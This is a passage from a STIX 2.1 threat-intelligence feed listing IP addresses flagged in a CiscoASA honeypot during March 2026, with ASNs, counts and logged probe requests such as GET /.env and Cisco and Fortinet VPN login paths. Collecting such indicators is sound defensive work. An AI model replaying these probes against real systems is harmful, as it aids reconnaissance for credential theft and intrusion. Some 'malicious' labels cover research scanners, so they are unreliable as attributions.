      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.env HTTP/1.1\" 404 - geo: NL; ASN 396982 (Google LLC)",
      "id": "indicator--bb4256cc-f34e-4a8b-b818-7d7006030e0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.158.79.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:20:13.000Z",
      "valid_until": "2026-04-05T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 14,
          "first_seen": "2026-03-04T20:39:18.382Z",
          "last_seen": "2026-03-21T05:52:25.835Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.env HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T23:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: RU; ASN 200593 (Prospero Ooo)",
      "id": "indicator--8eb07d97-89bc-4a63-aa01-4d870364b9b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.24.123.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:20:13.000Z",
      "valid_until": "2026-04-05T23:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-04T23:17:01.441Z",
          "last_seen": "2026-03-24T17:16:36.585Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 200593,
          "as_org": "Prospero Ooo",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T00:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 396356 (Latitude.sh)",
      "id": "indicator--8bfcfabc-d734-4292-848b-d936ff7fc5e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.239.240.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:20:13.000Z",
      "valid_until": "2026-04-06T00:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 786,
          "first_seen": "2026-03-04T23:42:42.304Z",
          "last_seen": "2026-03-28T07:59:03.357Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396356,
          "as_org": "Latitude.sh",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T00:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RU; ASN 210259 (LLC Applied Computational Technologies)",
      "id": "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:20:13.000Z",
      "valid_until": "2026-04-06T00:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 18,
          "first_seen": "2026-03-05T00:05:20.221Z",
          "last_seen": "2026-03-26T22:02:39.922Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 210259,
          "as_org": "LLC Applied Computational Technologies",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--3c3285c9-ccb4-46e0-9626-43602c04098a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.218.54.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:20:13.000Z",
      "valid_until": "2026-04-06T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T00:51:32.840Z",
          "last_seen": "2026-03-05T00:51:35.842Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--efba957b-3746-4c21-aabc-4c6bdc5c74a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.95.18.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:20:13.000Z",
      "valid_until": "2026-04-06T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T00:51:38.315Z",
          "last_seen": "2026-03-05T00:51:38.315Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--4977cd9a-b390-462c-a211-7be4cb850f0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '52.207.244.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:20:13.000Z",
      "valid_until": "2026-04-06T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T00:49:44.087Z",
          "last_seen": "2026-03-05T00:49:44.087Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--aa08b597-1a22-470c-add8-a70c9da75b7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:20:06.000Z",
      "valid_until": "2026-04-06T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-05T02:57:43.482Z",
          "last_seen": "2026-03-05T02:57:59.582Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /aaa9 HTTP/1.1\" 404 - geo: RU; ASN 34665 (Petersburg Internet Network ltd.)",
      "id": "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.101.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:20:06.000Z",
      "valid_until": "2026-04-06T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T02:38:32.192Z",
          "last_seen": "2026-03-05T02:38:33.523Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 34665,
          "as_org": "Petersburg Internet Network ltd.",
          "event_types": [
            "\"GET /aaa9 HTTP/1.1\" 404 -",
            "\"GET /aab9 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RU; ASN 44050 (Petersburg Internet Network ltd.)",
      "id": "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '95.215.0.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:20:06.000Z",
      "valid_until": "2026-04-06T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T02:38:31.039Z",
          "last_seen": "2026-03-05T02:38:31.322Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 44050,
          "as_org": "Petersburg Internet Network ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--ae3458c3-7bc3-4a68-aa5f-9337f2f583c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.97.19.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:20:13.000Z",
      "valid_until": "2026-04-06T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-05T04:05:04.201Z",
          "last_seen": "2026-03-05T04:05:10.787Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T06:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:20:06.000Z",
      "valid_until": "2026-04-06T06:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 28,
          "first_seen": "2026-03-05T05:43:35.960Z",
          "last_seen": "2026-03-09T09:58:56.669Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T06:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--785781be-e8d3-4038-9bca-03978c76cb69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:20:06.000Z",
      "valid_until": "2026-04-06T06:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T05:48:05.845Z",
          "last_seen": "2026-03-05T05:48:05.845Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T06:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--33084719-dfd5-499e-b210-92940aa30a5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:20:06.000Z",
      "valid_until": "2026-04-06T06:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T05:48:23.985Z",
          "last_seen": "2026-03-05T05:48:34.084Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T06:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7f04d81c-4b0c-441c-9b2c-f67c677fb8ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:20:06.000Z",
      "valid_until": "2026-04-06T06:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T05:48:31.497Z",
          "last_seen": "2026-03-05T05:48:31.497Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T06:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ff050f0a-e32a-4ed3-a913-3cffb06f5eb1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:20:06.000Z",
      "valid_until": "2026-04-06T06:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T05:48:12.138Z",
          "last_seen": "2026-03-09T09:57:30.273Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T06:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3447eb8b-c1c9-42df-bd7a-ae5ffb03bd82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:20:06.000Z",
      "valid_until": "2026-04-06T06:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-05T05:45:35.158Z",
          "last_seen": "2026-03-09T09:57:19.061Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 - geo: US; ASN 202412 (Omegatech LTD)",
      "id": "indicator--0384b633-48d6-4425-b6b6-2e9c20ebe6cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:20:13.000Z",
      "valid_until": "2026-04-06T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T06:38:09.698Z",
          "last_seen": "2026-03-05T06:38:09.698Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--ac6f0033-f222-4574-bef7-cfef2f6a289e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:20:13.000Z",
      "valid_until": "2026-04-06T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T07:01:43.965Z",
          "last_seen": "2026-03-05T07:01:46.968Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--117ee56d-c4ea-4616-972a-a295ce22aa29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:20:13.000Z",
      "valid_until": "2026-04-06T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-05T07:12:15.407Z",
          "last_seen": "2026-03-05T07:12:25.888Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T07:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--554bd795-1eb5-4919-8664-a39fdf382d72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:20:13.000Z",
      "valid_until": "2026-04-06T07:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-05T07:09:51.757Z",
          "last_seen": "2026-03-05T07:09:51.757Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-05T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--02b4da24-bfb9-47ec-aed2-656008d46523",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.202.117.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
